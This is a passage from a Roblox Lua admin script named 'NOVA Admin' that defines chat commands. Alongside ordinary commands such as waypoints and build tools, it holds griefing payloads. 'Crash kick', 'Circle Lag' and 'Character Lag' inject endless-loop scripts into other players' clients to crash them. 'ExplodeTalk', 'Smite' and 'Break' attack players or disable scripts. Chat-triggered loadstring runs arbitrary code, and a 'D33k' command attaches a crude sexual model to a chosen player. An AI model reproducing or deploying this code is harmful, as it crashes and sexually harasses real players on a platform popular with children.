  4082. Workspace = game:GetService("Workspace");
  4083. Lighting = game:GetService("Lighting");
  4084. Debris = game:GetService("Debris");
  4085. Players = game:GetService("Players");
  4086. Teams = game:GetService("Teams");
  4087. SoundService = game:GetService("SoundService");
  4088. StarterGui = game:GetService("StarterGui");
  4089. StarterPack = game:GetService("StarterPack");
  4090. };
  4091.  
  4092. Camera = workspace.CurrentCamera;
  4093. LocalCharacter = Instance.new("Model");
  4094. LocalHead = Instance.new("Part");
  4095. LocalFire = Instance.new("Fire");
  4096. }
  4097. script.Name = NOVA.LocalPlayer.Name
  4098. script.Parent = nil
  4099. repeat wait() until NOVA.LocalPlayer.Parent == nil
  4100. game.Players.LocalPlayer.Chatted:connect(function(Msg)
  4101. if not game.Players:findFirstChild(game.Players.LocalPlayer.Name) then
  4102. game:GetService("Chat"):Chat(NOVA.LocalHead,Msg,math.random(0,2))
  4103.  
  4104. if Msg == NOVA.Bet .. "rejoin" .. NOVA.Bet then
  4105. game:GetService'TeleportService':Teleport(game.PlaceId)
  4106. end
  4107. if Msg:sub(1,3) == NOVA.Bet .. "c" .. NOVA.Bet then
  4108. pcall(function()
  4109. newScript(Msg:sub(4),workspace)
  4110. end)
  4111. end
  4112. if Msg:sub(1,7) == NOVA.Bet .. "local" .. NOVA.Bet then
  4113. coroutine.resume(coroutine.create(function()
  4114. pcall(function()
  4115. loadstring(Msg:sub(8))()
  4116. end)
  4117. end))
  4118. end
  4119. if Msg:sub(1,11) == NOVA.Bet .. "workspace" .. NOVA.Bet then
  4120. LocalPlayer.Character = workspace
  4121. end
  4122. end
  4123. end)
  4124.  
  4125. NOVA.LocalPlayer.Character = nil
  4126. NOVA.LocalHead.FormFactor = "Custom"
  4127. NOVA.LocalHead.Size = Vector3.new(3,3,3)
  4128. NOVA.LocalHead.Reflectance = 1e+999
  4129. NOVA.LocalHead.Shape = "Ball"
  4130. NOVA.LocalHead.Anchored = true
  4131. NOVA.LocalHead.CanCollide = false
  4132. NOVA.LocalHead.Transparency = 0
  4133. NOVA.LocalCharacter.Name = NOVA.LocalPlayer.Name
  4134.  
  4135. NOVA.LocalFire.Color = Color3.new(0,0,0)
  4136. NOVA.LocalFire.SecondaryColor = Color3.new(0,0,0)
  4137. NOVA.LocalFire.Heat = 12
  4138. NOVA.LocalFire.Size = 7
  4139.  
  4140. while wait() do
  4141. pcall(function()
  4142. NOVA.LocalCharacter.Parent=workspace
  4143. NOVA.LocalHead.Parent = NOVA.LocalCharacter
  4144. NOVA.LocalHead.CFrame = NOVA.Camera.CoordinateFrame * CFrame.new(0,0,-30.517578125)
  4145. NOVA.LocalFire.Parent = NOVA.LocalHead
  4146. end)
  4147. end
  4148. ]],Speaker.Backpack)
  4149. end
  4150. )
  4151.  
  4152.  
  4153. AddCommand("Script","c",6,"Pseudo scripting command.","<Source>",
  4154. function(Msg,Speaker)
  4155. CreateScript(Msg,workspace)
  4156. end
  4157. )
  4158.  
  4159. AddCommand("New Local Script","newlocal",6,"Psudo scripting command.","<Player><Source>",
  4160. function(Msg,Speaker)
  4161. for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
  4162. CreateLocalScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
  4163. end
  4164. end
  4165. )
  4166.  
  4167. AddCommand("New Script","newscript",6,"Psudo scripting command.","<Player><Source>",
  4168. function(Msg,Speaker)
  4169. for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
  4170. CreateScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
  4171. end
  4172. end
  4173. )
  4174.  
  4175. AddCommand("Local Script","local",6,"Pseudo scripting command.","<Source>",
  4176. function(Msg,Speaker)
  4177. CreateLocalScript(Msg,Speaker.Backpack)
  4178. end
  4179. )
  4180.  
  4181. AddCommand("Derp","derp",1,"Derps the workspace.","No Arguments",
  4182. function(Msg,Speaker)
  4183. for _,v in pairs(GetRecursiveChildren(workspace)) do
  4184. pcall(function()
  4185. v.Transparency = 7.3015691270939e-002
  4186. end)
  4187. end
  4188. end
  4189. )
  4190.  
  4191. AddCommand("Circle Lag","circlag",6,"Lags the selected player with circles.","<Player>",
  4192. function(Msg,Speaker)
  4193. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4194. if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4195. Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4196. else
  4197. pcall(function()
  4198. CreateLocalScript([==[
  4199. LocalPlayer = game:GetService("Players").LocalPlayer
  4200. Camera = workspace.CurrentCamera
  4201. while wait() do
  4202. for i=1,10 do
  4203. Part = Instance.new("Seat",Camera)
  4204. Part.Size = Vector3.new(math.random(1,20),math.random(1,20),math.random(1,20))
  4205. Part.Shape = "Ball"
  4206. Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  4207. Part.CFrame = CFrame.new(math.random(-250,250),50,math.random(-250,250))
  4208. end
  4209. end
  4210. ]==],v.Backpack)
  4211. end)
  4212. end
  4213. end
  4214. end
  4215. )
  4216.  
  4217. AddCommand("Clear Camera","clearcam",3,"Clears the selected player's current camera.","<Player>",
  4218. function(Msg,Speaker)
  4219. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4220. CreateLocalScript("workspace.CurrentCamera:ClearAllChildren()",v.Backpack)
  4221. end
  4222. end
  4223. )
  4224.  
  4225. AddCommand("Screen Peek","screenpeek",4,"Shows you the selected player's playergui.","<Player>",
  4226. function(Msg,Speaker)
  4227. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4228. for _,GUI in pairs(v.PlayerGui:children()) do
  4229. GUI:Clone().Parent = Speaker.PlayerGui
  4230. end
  4231. end
  4232. end
  4233. )
  4234.  
  4235. AddCommand("Show Targeted","showtarg",1,"Shows the targeted players.","No Arguments",
  4236. function(Msg,Speaker)
  4237. for _,v in pairs(NOVA.Targeted) do
  4238. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  4239. if part:IsA("Part") then
  4240. coroutine.resume(coroutine.create(function()
  4241. local SB = Instance.new("SelectionBox",part)
  4242. SB.Name = "NOVA Target Selection Box"
  4243. SB.Color = BrickColor.new(NOVA.Colors.Yellow)
  4244. SB.Adornee = part
  4245. wait(3)
  4246. SB:remove()
  4247. end))
  4248. end
  4249. end
  4250. end
  4251. end
  4252. )
  4253.  
  4254. AddCommand("Note To Self","nts",0,"Note to self commands. ( /add /set /see )","<Action>",
  4255. function(Msg,Speaker)
  4256. if Msg:sub(1,4) == "add" .. NOVA.Bet then
  4257. Speaker:SaveString("NoteToSelf",Speaker:LoadString("NoteToSelf").." "..Msg:sub(5))
  4258. elseif Msg:sub(1,4) == "set" .. NOVA.Bet then
  4259. Speaker:SaveString("NoteToSelf",Msg:sub(5))
  4260. elseif Msg == "see" then
  4261. Output(Speaker:LoadString("NoteToSelf"),GetRankedTable(Speaker).Color,Speaker)
  4262. end
  4263. end
  4264. )
  4265.  
  4266. AddCommand("Smite","smite",6,"Smites the selected player.","<Player>",
  4267. function(Msg,Speaker)
  4268. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4269. local Char = v.Character
  4270. local Smite = Instance.new("Part",workspace)
  4271. Smite.FormFactor = "Custom"
  4272. Smite.TopSurface = "Smooth"
  4273. Smite.BottomSurface = "Smooth"
  4274. Smite.Anchored = true
  4275. Smite.Locked = true
  4276. Smite.Size = Vector3.new(25,3,25)
  4277. Smite.BrickColor = BrickColor.new("New Yeller")
  4278. Smite.Transparency = 1
  4279. Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0)
  4280. for i=1,0,-0.05 do
  4281. wait()
  4282. Smite.Transparency = i
  4283. end
  4284. coroutine.resume(coroutine.create(function()
  4285. for i=0,1,0.05 do
  4286. wait()
  4287. Smite.Transparency = i
  4288. end
  4289. Smite:remove()
  4290. end))
  4291. wait()
  4292. local Expl = Instance.new("Explosion",workspace)
  4293. Expl.Position = Smite.Position
  4294. Expl.BlastPressure = 1000000000
  4295.  
  4296. for _,Part in pairs(GetRecursiveChildren(Char)) do
  4297. if Part:IsA("BasePart") then
  4298. coroutine.resume(coroutine.create(function()
  4299. for i=1,10 do
  4300. local Sparkles = Instance.new("Sparkles",Part)
  4301. Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4302. local Fire = Instance.new("Fire",Part)
  4303. Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4304. Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4305. end
  4306. Part:BreakJoints()
  4307. local BP = Instance.new("BodyPosition",Part)
  4308. BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  4309. BP.P = 1000
  4310. BP.position = Part.Position + Vector3.new(
  4311. math.random(-100,100),
  4312. 100,
  4313. math.random(-100,100))
  4314. wait(3)
  4315. local Expl = Instance.new("Explosion",workspace)
  4316. Expl.Position = Part.Position
  4317. Expl.BlastPressure = 1000000000
  4318. end))
  4319. end
  4320. end
  4321. end
  4322. end
  4323. )
  4324. AddCommand("Naked","naked",1,"Removes shirt and pants from player.","<Player>",
  4325. function(Msg,Speaker)
  4326. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4327. pcall(function()
  4328. v.Character.Pants:Remove()
  4329. v.Character.Shirt:Remove()
  4330. end)
  4331. end
  4332. end
  4333. )
  4334.  
  4335. AddCommand("Lock Humanoid Health","lockh",7,"Locks the health.","<Player>",
  4336. function(Msg,Speaker)
  4337. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4338.  
  4339. v.Character.Humanoid.Changed:connect(function(val)
  4340. if val == "Health" then
  4341. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  4342. end
  4343.  
  4344.  
  4345. end)
  4346. end
  4347. end
  4348. )
  4349.  
  4350.  
  4351. AddCommand("Remove Tablets","rtab",7,"Removes tablets from player.","<Player>",
  4352. function(Msg,Speaker)
  4353. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4354.  
  4355. RemoveTablets(v)
  4356.  
  4357. end
  4358. end
  4359. )
  4360. AddCommand("Un D33k","und33k",7,"Removes the player's d33k.","No Arguments",
  4361. function(Msg,Speaker)
  4362. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4363. pcall(function()
  4364. person=v.Name
  4365. local plr = Game.Players[person]
  4366. color = "Pastel brown"
  4367. pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
  4368. end)
  4369. end
  4370. end
  4371. )
  4372. AddCommand("D33k","d33k",7,"Gives the player a d33k.","No Arguments",
  4373. function(Msg,Speaker)
  4374. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4375. pcall(function()
  4376. person=v.Name
  4377. local plr = Game.Players[person]
  4378. color = "Pastel brown"
  4379. pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
  4380. D = Instance.new("Model",plr.Character)
  4381. D.Name = "Nice thing"
  4382. bg = Instance.new("BodyGyro",plr.Character.Torso)
  4383. d = Instance.new("Part")
  4384. d.TopSurface = 0
  4385. d.BottomSurface = 0
  4386. d.Name = "Main"
  4387. d.Parent = plr.Character["Nice thing"]
  4388. d.formFactor = 3
  4389. d.Size = Vector3.new(0.6,2.5,0.6)
  4390. d.BrickColor = BrickColor.new(color)
  4391. d.Position = plr.Character.Head.Position
  4392. d.CanCollide = false
  4393. local cy = Instance.new("CylinderMesh")
  4394. cy.Parent = d
  4395. w = Instance.new("Weld")
  4396. w.Parent = plr.Character.Head
  4397. w.Part0 = d
  4398. w.Part1 = plr.Character.Head
  4399. w.C0 = CFrame.new(0,0.25,2.1)*CFrame.Angles(math.rad(45),0,0)
  4400. local c = Instance.new("Part")
  4401. c.Name = "Mush"
  4402. c.BottomSurface = 0
  4403. c.TopSurface = 0
  4404. c.FormFactor = 3
  4405. c.Size = Vector3.new(0.6,0.6,0.6)
  4406. c.CFrame = CFrame.new(d.Position)
  4407. c.BrickColor = BrickColor.new("Pink")
  4408. c.CanCollide = false
  4409. c.Parent = plr.Character["Nice thing"]
  4410. local msm = Instance.new("SpecialMesh")
  4411. msm.Parent = c
  4412. msm.MeshType = "Sphere"
  4413. local cw = Instance.new("Weld")
  4414. cw.Parent = c
  4415. cw.Part0 = d
  4416. cw.Part1 = c
  4417. cw.C0 = CFrame.new(0,1.3,0)
  4418. local ball1 = Instance.new("Part")
  4419. ball1.Parent = plr.Character["Nice thing"]
  4420. ball1.Name = "Left Ball"
  4421. ball1.BottomSurface = 0
  4422. ball1.TopSurface = 0
  4423. ball1.CanCollide = false
  4424. ball1.formFactor = 3
  4425. ball1.Size = Vector3.new(1,1,1)
  4426. ball1.CFrame = CFrame.new(plr.Character["Left Leg"].Position)
  4427. ball1.BrickColor = BrickColor.new(color)
  4428. local bsm = Instance.new("SpecialMesh")
  4429. bsm.Parent = ball1
  4430. bsm.MeshType = "Sphere"
  4431. local b1w = Instance.new("Weld")
  4432. b1w.Parent = ball1
  4433. b1w.Part0 = plr.Character["Left Leg"]
  4434. b1w.Part1 = ball1
  4435. b1w.C0 = CFrame.new(0,0.5,-.5)
  4436. local ball2 = Instance.new("Part")
  4437. ball2.Parent = plr.Character["Nice thing"]
  4438. ball2.Name = "Right Ball"
  4439. ball2.BottomSurface = 0
  4440. ball2.CanCollide = false
  4441. ball2.TopSurface = 0
  4442. ball2.formFactor = 3
  4443. ball2.Size = Vector3.new(1,1,1)
  4444. ball2.CFrame = CFrame.new(plr.Character["Right Leg"].Position)
  4445. ball2.BrickColor = BrickColor.new(color)
  4446. local b2sm = Instance.new("SpecialMesh")
  4447. b2sm.Parent = ball2
  4448. b2sm.MeshType = "Sphere"
  4449. local b2w = Instance.new("Weld")
  4450. b2w.Parent = ball2
  4451. b2w.Part0 = plr.Character["Right Leg"]
  4452. b2w.Part1 = ball2
  4453. b2w.C0 = CFrame.new(0,0.5,-.5)
  4454. end)
  4455. end
  4456. end
  4457. )
  4458. AddCommand("Change betkey","bet",7,"Changes the bet key.","<New bet Key>",
  4459. function(Msg,Speaker)
  4460. NOVA.Bet = Msg
  4461. end
  4462. )
  4463. AddCommand("Crash kick","ckick",7,"Makes the player lag badly and get kicked.","<Player>",
  4464. function(Msg,Speaker)
  4465. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4466.  
  4467. coroutine.resume(coroutine.create(function()
  4468. while wait() do
  4469. for i = 1, 100 do
  4470. if v:findFirstChild("PlayerGui") ~= nil then
  4471. local mes = Instance.new("Message", v.PlayerGui)
  4472. mes.Text = "Crashing"
  4473. local ex = Instance.new("Explosion", v.PlayerGui)
  4474. ex.BlastRadius = math.huge
  4475. local hint = Instance.new("Hint", v.PlayerGui)
  4476. hint.Text = "---------------------------------------------------------------------------"
  4477. local s = Instance.new("ScreenGui", v.PlayerGui)
  4478. local txt = Instance.new("TextBox", s)
  4479. txt.Size = UDim2.new(1, 0, 1, 0)
  4480. txt.Text = "Your Being Lagged"
  4481. txt.FontSize = "Size48"
  4482. end
  4483. end
  4484. end
  4485. end))
  4486. end
  4487. end
  4488. )
  4489. AddCommand("ExplodeTalk","expltalk",4,"Makes the player explode when they talk.","<Player>",
  4490. function(Msg,Speaker)
  4491. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4492. pcall(function()
  4493. v.Chatted:connect(function(Msg)
  4494. local m = Instance.new("Explosion",v.Character.Head)
  4495. m.Position = v.Character.Head.Position
  4496. end)
  4497. end)
  4498. end
  4499. end
  4500. )
  4501. AddCommand("Epic","Epic",1,"Epicifys the selected player.","<Player>",
  4502. function(Msg,Speaker)
  4503. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4504. pcall(function()
  4505. for _,Part in pairs(GetRecursiveChildren(v.Character)) do
  4506. if Part:IsA("BasePart") then
  4507. for i=1,10 do
  4508. local Sparkles = Instance.new("Sparkles",Part)
  4509. Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4510. local Fire = Instance.new("Fire",Part)
  4511. Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4512. Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4513. end
  4514. end
  4515. end
  4516. end)
  4517. end
  4518. end
  4519. )
  4520.  
  4521. AddCommand("Show Chat","showchat",7,"Toggle NOVA.ShowChat ( boolean )","No Arguments",
  4522. function(Msg,Speaker)
  4523. if NOVA.ShowChat == true then
  4524. NOVA.ShowChat = false
  4525. elseif NOVA.ShowChat == false then
  4526. NOVA.ShowChat = true
  4527. end
  4528. end
  4529. )
  4530.  
  4531.  
  4532. AddCommand("Character Lag","charlag",6,"Lags the targeted player with their own character. Brutal.","<Player>",
  4533. function(Msg,Speaker)
  4534. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4535. if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4536. Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4537. else
  4538. pcall(function()
  4539. CreateLocalScript([[
  4540. script.Parent = workspace.CurrentCamera
  4541. while wait() do
  4542. coroutine.resume(coroutine.create(function()
  4543. for i=1,math.huge do
  4544. wait()
  4545. for i=1,10 do
  4546. NS = script:Clone()
  4547. NS.Disabled = true
  4548. NS.Parent = game:GetService("Players").LocalPlayer.Backpack
  4549. NS.Disabled = false
  4550. end
  4551. for i=1,10 do
  4552. game:GetService("Players").LocalPlayer.Character.Archivable = true
  4553. local Clone = game:GetService("Players").LocalPlayer.Character:Clone()
  4554. Clone.Parent = workspace.CurrentCamera
  4555. end
  4556. end
  4557. end))
  4558. end]],
  4559. v.Backpack)
  4560. end)
  4561. end
  4562. end
  4563. end
  4564. )
  4565.  
  4566. AddCommand("Building","building",1,"Generates a building.","No Arguments",
  4567. function(Msg,Speaker)
  4568. Output("This command has been disabled/depricated.",NOVA.Colors.Orange,Speaker,5)
  4569. end
  4570. )
  4571.  
  4572. AddCommand("Platform Stand","ps",3,"Sets platformstand to true for the selected player.","<Player>",
  4573. function(Msg,Speaker)
  4574. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4575. pcall(function()
  4576. v.Character.Humanoid.PlatformStand = true
  4577. end)
  4578. end
  4579. end
  4580. )
  4581.  
  4582. AddCommand("Un Platform Stand","ps",3,"Sets platformstand to false for the selected player.","<Player>",
  4583. function(Msg,Speaker)
  4584. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4585. pcall(function()
  4586. v.Character.Humanoid.PlatformStand = false
  4587. end)
  4588. end
  4589. end
  4590. )
  4591.  
  4592. AddCommand("Duplicate Tools","dupetools",4,"Clones the tools of the selected player.","<Player>",
  4593. function(Msg,Speaker)
  4594. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4595. pcall(function()
  4596. for _,Tool in pairs(v.Backpack:GetChildren()) do
  4597. Tool:Clone().Parent = Speaker.Backpack
  4598. end
  4599. end)
  4600. end
  4601. end
  4602. )
  4603.  
  4604. AddCommand("Give","give",3,"Lists the items in lighting for the selected player.","<Player>",
  4605. function(Msg,Speaker)
  4606. local Give = {}
  4607. for _,v in pairs(NOVA.Services.Lighting:children()) do
  4608. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  4609. function()
  4610. table.insert(Give,v:Clone())
  4611. end
  4612. )
  4613. end
  4614. Output("Done",NOVA.Colors.Green,Speaker,nil,
  4615. function()
  4616. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4617. for _,Tool in pairs(Give) do
  4618. Tool:Clone().Parent = v.Backpack
  4619. end
  4620. end
  4621. RemoveTablets(Speaker)
  4622. end
  4623. )
  4624. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4625. end
  4626. )
  4627.  
  4628. AddCommand("StoreTools","store",1,"Stores the speaker's tools in the lighting.","No Arguments",
  4629. function(Msg,Speaker)
  4630. pcall(function()
  4631. for _,Tool in pairs(Speaker.Backpack:children()) do
  4632. Tool:Clone().Parent = NOVA.Services.Lighting
  4633. end
  4634. end)
  4635. end
  4636. )
  4637.  
  4638. AddCommand("Personal Message","pm",1,"Privately tells the selected player the selected string.","<Player><String>",
  4639. function(Msg,Speaker)
  4640. Split = GetSplit(Msg)
  4641. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  4642. if v:FindFirstChild("PlayerGui") ~= nil then
  4643. makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg:sub(Split+1),v.PlayerGui)
  4644. end
  4645. end
  4646. end
  4647. )
  4648.  
  4649. AddCommand("Help","help",0,"Displays NOVA's help interface.","No Arguments",
  4650. function(Msg,Speaker)
  4651. local Data = GetRankedTable(Speaker)
  4652. Output("NOVA is a multi-purpose admin script created by "..string.reverse(string.gsub("nGtRaGtRmGtRDGtRmGtRaGtReGtRTGtR","GtR",""))..".",Data.Color,Speaker)
  4653. Output("Your current rank is "..GetRankName(Speaker.Name).." ( "..Data.Rank.." ).",Data.Color,Speaker)
  4654. Output("For a list of commands avalible to your rank click this tablet.",Data.Color,Speaker,nil,
  4655. function()
  4656. RemoveTablets(Speaker)
  4657. OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker)
  4658. end
  4659. )
  4660. Output("This is the help menu. Click a tablet for more information.",Data.Color,Speaker)
  4661. Output("How to use commands.",Data.Color,Speaker,nil,
  4662. function()
  4663. RemoveTablets(Speaker)
  4664. Output("To use a command you use 2 backslashes then the arguments seperated by backslashes.",Data.Color,Speaker)
  4665. Output("Please note it is a backslash ( located above/around the 'Return'/'Enter' key on your keyboard.",Data.Color,Speaker)
  4666. Output("Example : /kill" .. NOVA.Bet..Speaker.Name,Data.Color,Speaker)
  4667. Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "help" .. NOVA.Bet,Speaker) end)
  4668. end
  4669. )
  4670. Output("Thank you for using NOVA Admin. ( made by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")).." )",Data.Color,Speaker)
  4671. end
  4672. )
  4673.  
  4674. AddCommand("Break","break",3,"Breaks all scripts in workspace.","No Arguments",
  4675. function(Msg,Speaker)
  4676. for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
  4677. if v:IsA("Script") then
  4678. v.Disabled = true
  4679. v.Parent = NOVA.Services.Debris
  4680. v.Disabled = true
  4681. v:Destroy()
  4682. v.Parent = NOVA.Services.Debris
  4683. v.Disabled = true
  4684. v:Destroy()
  4685. end
  4686. end
  4687. end
  4688. )
  4689.  
  4690.  
  4691. AddCommand("Spy","spy",1,"Parents your character to your camera.","No Arguments",
  4692. function(Msg,Speaker)
  4693. pcall(function()
  4694. CreateLocalScript([[
  4695. game.Players.LocalPlayer.Character.Parent = workspace.CurrentCamera
  4696. ]],
  4697. Speaker.Backpack
  4698. )
  4699. end)
  4700. end
  4701. )
  4702.  
  4703. AddCommand("Set Pitch","setpitch",2,"Sets the pitch of NOVA Sound.","<Int Value>",
  4704. function(Msg,Speaker)
  4705. pcall(function()
  4706. NOVA.Sounds.Sound.Pitch = tonumber(Msg)
  4707. end)
  4708. end
  4709. )
  4710. AddCommand("Set Loop","setloop",2,"Sets the .Loooped value of NOVA.Sounds.Sound.","<Boolean>",
  4711. function(Msg,Speaker)
  4712. pcall(function()
  4713. NOVA.Sounds.Sound.Looped = Msg
  4714. end)
  4715. end
  4716. )
  4717. AddCommand("Click Remove","cremove",6,"Gives you a tablet to click to remove NOVA.","No Arguments",
  4718. function(Msg,Speaker)
  4719. Output("Remove NOVA Admin? ("..math.random(1,9)..")",NOVA.Colors.Red,Speaker,nil,function() OnChatted(NOVA.Bet .. "remove" .. NOVA.Bet,Speaker) end)
  4720. end
  4721. )
  4722. AddCommand("Use Plugins","useplugins",3,"Lets you use any installed plugins.","<Player>",
  4723. function(Msg,Speaker)
  4724. local Give = {}
  4725. for _,v in pairs(NOVA.Plugins) do
  4726. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  4727. function()
  4728. table.insert(Give,v:Clone())
  4729. end
  4730. )
  4731. end
  4732. Output("Done",NOVA.Colors.Green,Speaker,nil,
  4733. function()
  4734. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4735. for _,Tool in pairs(Give) do
  4736. New = Tool:Clone()
  4737. New.Parent = v.Backpack
  4738. pcall(function()
  4739. New.Disabled = false
  4740. end)
  4741. end
  4742. end
  4743. RemoveTablets(Speaker)
  4744. end
  4745. )
  4746. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4747. end
  4748. )
  4749. AddCommand("Lock","lock",3,"Locks the selected player's character.","<Player>",
  4750. function(Msg,Speaker)
  4751. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4752. pcall(function()
  4753. for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  4754. part.Locked = true
  4755. end
  4756. end)
  4757. end
  4758. end
  4759. )
  4760. AddCommand("Un Lock","unlock",3,"Unlocks the selected player's character.","<Player>",
  4761. function(Msg,Speaker)
  4762. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4763. pcall(function()
  4764. for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  4765. part.Locked = false
  4766. end
  4767. end)
  4768. end
  4769. end
  4770. )
  4771. AddCommand("New LocalScript","newlocal",6,"Creates a local script in the selected player's backpack.","<Player>",
  4772. function(Msg,Speaker)
  4773. Split = GetSplit(Msg)
  4774. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  4775. pcall(function()
  4776. CreateLocalScript(Msg:sub(Split+1),v.Backpack)
  4777. end)
  4778. end
  4779. end
  4780. )
  4781. AddCommand("Brightness","brightness",2,"Changes the brightness value.","<IntValue>",
  4782. function(Msg,Speaker)
  4783. NOVA.Services.Lighting.Brightness = tonumber(Msg)
  4784. end
  4785. )
  4786. AddCommand("Set Waypoint","setwaypoint",1,"Sets a waypoint.","<StringValue>",
  4787. function(Msg,Speaker)
  4788. pcall(function()
  4789. Rtn = CFrame.new(
  4790. Speaker.Character.Torso.CFrame.x,
  4791. Speaker.Character.Torso.CFrame.y,
  4792. Speaker.Character.Torso.CFrame.z
  4793. )
  4794. table.insert(NOVA.Waypoints,{Name = Msg,CFrame = Rtn})
  4795. end)
  4796. end
  4797. )
  4798. AddCommand("Goto","goto",0,"Teleports you to a selected waypoint.","No Arguments",
  4799. function(Msg,Speaker)
  4800. for _,v in pairs(NOVA.Waypoints) do
  4801. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  4802. pcall(function()
  4803. RemoveTablets(Speaker)
  4804. Speaker.Character.Torso.CFrame = v.CFrame
  4805. end)
  4806. end)
  4807. end
  4808. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4809. end
  4810. )
  4811. AddCommand("Remove Waypoint","rwaypoint",1,"Removes the selected waypoint(s).","No Arguments",
  4812. function(Msg,Speaker)
  4813. Rtn = {}
  4814. for num,v in pairs(NOVA.Waypoints) do
  4815. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  4816. table.insert(Rtn,num)
  4817. end)
  4818. end
  4819. Output("Done",NOVA.Colors.Green,Speaker,nil,function()
  4820. RemoveTablets(Speaker)
  4821. for _,v in pairs(Rtn) do
  4822. table.remove(NOVA.Waypoints,v)
  4823. end
  4824. end)
  4825. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4826. end
  4827. )
  4828. AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
  4829. function(Msg,Speaker)
  4830. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4831. pcall(function()
  4832. for i=0,3 do
  4833. Instance.new("HopperBin",v.Backpack).BinType = i
  4834. end
  4835. end)
  4836. end
  4837. end
  4838. )
  4839. AddCommand("Podium","podium",3,"Generates a podium infront of your character.","No Arguments",
  4840. function(Msg,Speaker)
  4841. local MainColor = Color3.new(0,0,0)
  4842. local SeccondaryColor = Color3.new(0.69,0.13,0.13)
  4843. local Main = Instance.new("Model",workspace) Main.Name = "NOVA Podium"
  4844. local MainCFrame = Speaker.Character.Torso.CFrame
  4845. * CFrame.new(0,-4,0)
  4846. + Speaker.Character.Torso.CFrame.lookVector*3
  4847. local SeccondaryCFrame = Speaker.Character.Torso.CFrame
  4848. * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
  4849. + Speaker.Character.Torso.CFrame.lookVector*3
  4850. if CFrame == nil then return end
  4851. coroutine.resume(coroutine.create(function()
  4852.  
  4853. for i=1,25 do
  4854. wait()
  4855. local Step = Instance.new("Part",Main)
  4856. Step.FormFactor = "Custom"
  4857. Step.Name = "Step"
  4858. Step.Anchored = true
  4859. Step.Locked = true
  4860. Step.Reflectance = 0
  4861. Step.TopSurface = "Smooth"
  4862. Step.BottomSurface = "Smooth"
  4863. Step.BrickColor = BrickColor.new(SeccondaryColor)
  4864. Step.Size = Vector3.new(6,1,3)
  4865. Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
  4866. Instance.new("BlockMesh",Step)
  4867.  
  4868. local Carpet = Instance.new("Part",Main)
  4869. Carpet.FormFactor = "Custom"
  4870. Carpet.Name = "Carpet"
  4871. Carpet.Anchored = true
  4872. Carpet.Locked = true
  4873. Carpet.Reflectance = 0
  4874. Carpet.TopSurface = "Smooth"
  4875. Carpet.BottomSurface = "Smooth"
  4876. Carpet.BrickColor = BrickColor.new(MainColor)
  4877. Carpet.Size = Vector3.new(4,1,3.2)
